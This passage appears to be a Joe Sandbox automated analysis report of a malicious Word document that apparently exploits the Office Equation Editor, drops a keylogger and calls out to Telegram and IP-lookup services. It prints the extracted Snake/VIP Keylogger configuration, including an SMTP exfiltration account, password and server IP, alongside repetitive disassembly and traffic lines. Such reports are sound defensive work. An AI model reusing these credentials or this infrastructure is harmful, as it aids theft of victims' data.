2024-10-30T08:14:28.807025+0100	2803274	2	Potentially Bad Traffic	192.168.2.22	49166	158.101.44.242	80	TCP
2024-10-30T08:14:29.981164+0100	2803274	2	Potentially Bad Traffic	192.168.2.22	49166	158.101.44.242	80	TCP
2024-10-30T08:14:32.586408+0100	2803274	2	Potentially Bad Traffic	192.168.2.22	49169	193.122.6.168	80	TCP
2024-10-30T08:14:34.270927+0100	2803274	2	Potentially Bad Traffic	192.168.2.22	49171	193.122.6.168	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: na.doc

Avira: detected

Found malware configuration

Source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "yugolog@falconcables.info", "Password": "7213575aceACE@@ ", "Host": "185.198.59.26", "Port": "587", "Version": "4.4"}
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "yugolog@falconcables.info", "Password": "7213575aceACE@@ ", "Host": "185.198.59.26", "Port": "587"}

Multi AV Scanner detection for submitted file

Source: na.doc

ReversingLabs: Detection: 44%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\CLLPdgxhnmwGf5Y[1].exe	Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Exploits

Office equation editor establishes network connection

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Network connect: IP: 87.120.84.38 Port: 80

Jump to behavior

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49167 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.22:49183 version: TLS 1.2

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 005F4EB5h	5_2_005F4973
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	8_2_001D69B8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 001D9743h	8_2_001D9330
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 001D767Dh	8_2_001D7490
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 001D8007h	8_2_001D7490
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 001D9181h	8_2_001D8EC4
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 001DEB89h	8_2_001DE8A8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 001DF4B9h	8_2_001DF1D9
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	8_2_001D71C9
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 001DFDE9h	8_2_001DFB08
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 001DF021h	8_2_001DED40
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 001D9743h	8_2_001D95B0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 001DF951h	8_2_001DF670
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 001D9743h	8_2_001D9672
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	8_2_001D6FEA
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FE54Ah	8_2_003FE250
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F85AAh	8_2_003F82B0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F1A09h	8_2_003F1738
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FFD32h	8_2_003FFA38
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F3101h	8_2_003F2E30
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FD22Ah	8_2_003FCF30
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FA722h	8_2_003FA428
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F50E9h	8_2_003F4E18
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FEA12h	8_2_003FE718
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F67E2h	8_2_003F6510
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FBF0Ah	8_2_003FBC10
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F10D9h	8_2_003F0E08
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F7F7Ah	8_2_003F7C08
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F9402h	8_2_003F9108
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F27D1h	8_2_003F2500
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F6349h	8_2_003F6078
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F8A72h	8_2_003F8778
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F0C41h	8_2_003F0970
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F7A41h	8_2_003F7770
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FF86Ah	8_2_003FF570
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F2339h	8_2_003F2068
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FCD62h	8_2_003FCA68
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F3A09h	8_2_003F3760
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FA25Ah	8_2_003F9F60
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F4321h	8_2_003F4050
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F5A19h	8_2_003F5748
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FBA42h	8_2_003FB748
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F0311h	8_2_003F0040
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F7111h	8_2_003F6E40
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F8F3Ah	8_2_003F8C40
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F3E89h	8_2_003F3BB8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FB0B2h	8_2_003FADB8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F5581h	8_2_003F52B0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F6C79h	8_2_003F69A8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FF3A2h	8_2_003FF0A8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F1571h	8_2_003F12A0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FC89Ah	8_2_003FC5A0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F2C69h	8_2_003F2998
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F9D92h	8_2_003F9A98
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FE082h	8_2_003FDD88
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F4C51h	8_2_003F4980
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FB57Ah	8_2_003FB280
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FD6F2h	8_2_003FD3F8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FABEAh	8_2_003FA8F0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F47B9h	8_2_003F44E8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F5EB1h	8_2_003F5BE0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FEEDAh	8_2_003FEBE0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F07A9h	8_2_003F04D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F75A9h	8_2_003F72D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FC3D2h	8_2_003FC0D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F1EA1h	8_2_003F1BD0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F98CAh	8_2_003F95D0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003F3599h	8_2_003F32C8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 003FDBBAh	8_2_003FD8C0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0054033Ah	8_2_00540040
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0054330Ah	8_2_00543010
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00541B22h	8_2_00541828
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 005437D2h	8_2_005434D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00541FEAh	8_2_00541CF0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00541192h	8_2_00540E98
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0054297Ah	8_2_00542680
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00542E42h	8_2_00542B48
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0054165Ah	8_2_00541360
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00540802h	8_2_00540508
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00540CCAh	8_2_005409D0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 005424B3h	8_2_005421B8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00543C9Ah	8_2_005439A0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 005689F9h	8_2_00568750
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00569701h	8_2_00569458
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056FA11h	8_2_0056F740
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00566FE9h	8_2_00566D40
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00567CF1h	8_2_00567A48
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056BA19h	8_2_0056B770
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00563319h	8_2_00563070
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00564021h	8_2_00563D78
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056C721h	8_2_0056C478
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056EC49h	8_2_0056E978
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056AD11h	8_2_0056AA68
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056F0E1h	8_2_0056EE10
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056B5C1h	8_2_0056B318
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 005692A9h	8_2_00569000
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 005655D9h	8_2_00565330
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056DCD9h	8_2_0056DA30
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 005662E1h	8_2_00566038
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056C2C9h	8_2_0056C020
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00563BC9h	8_2_00563920
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056CFD1h	8_2_0056CD28
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 005648D1h	8_2_00564628
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056CB7Bh	8_2_0056C8D0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00564479h	8_2_005641D0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00565181h	8_2_00564ED8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056D881h	8_2_0056D5D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056B169h	8_2_0056AEC0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056BE71h	8_2_0056BBC8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00563771h	8_2_005634C8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00567899h	8_2_005675F0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 005685A1h	8_2_005682F8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00565E89h	8_2_00565BE0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056E7B1h	8_2_0056E4E0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00566B91h	8_2_005668E8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00566739h	8_2_00566490
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00567441h	8_2_00567198
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056D429h	8_2_0056D180
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00564D29h	8_2_00564A80
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00565A31h	8_2_00565788
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056E1C5h	8_2_0056DE88
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00569B59h	8_2_005698B0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00568149h	8_2_00567EA0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 0056F579h	8_2_0056F2A8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then jmp 00568E51h	8_2_00568BA8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	8_2_00655F28
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	8_2_00655F38
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	8_2_00652B00
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	8_2_00652AF2

Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: checkip.dyndns.org
Source: global traffic	DNS query: name: reallyfreegeoip.org
Source: global traffic	DNS query: name: api.telegram.org

Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 158.101.44.242:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 193.122.6.168:80
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 132.226.247.73:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 132.226.8.169:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 149.154.167.220:443

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
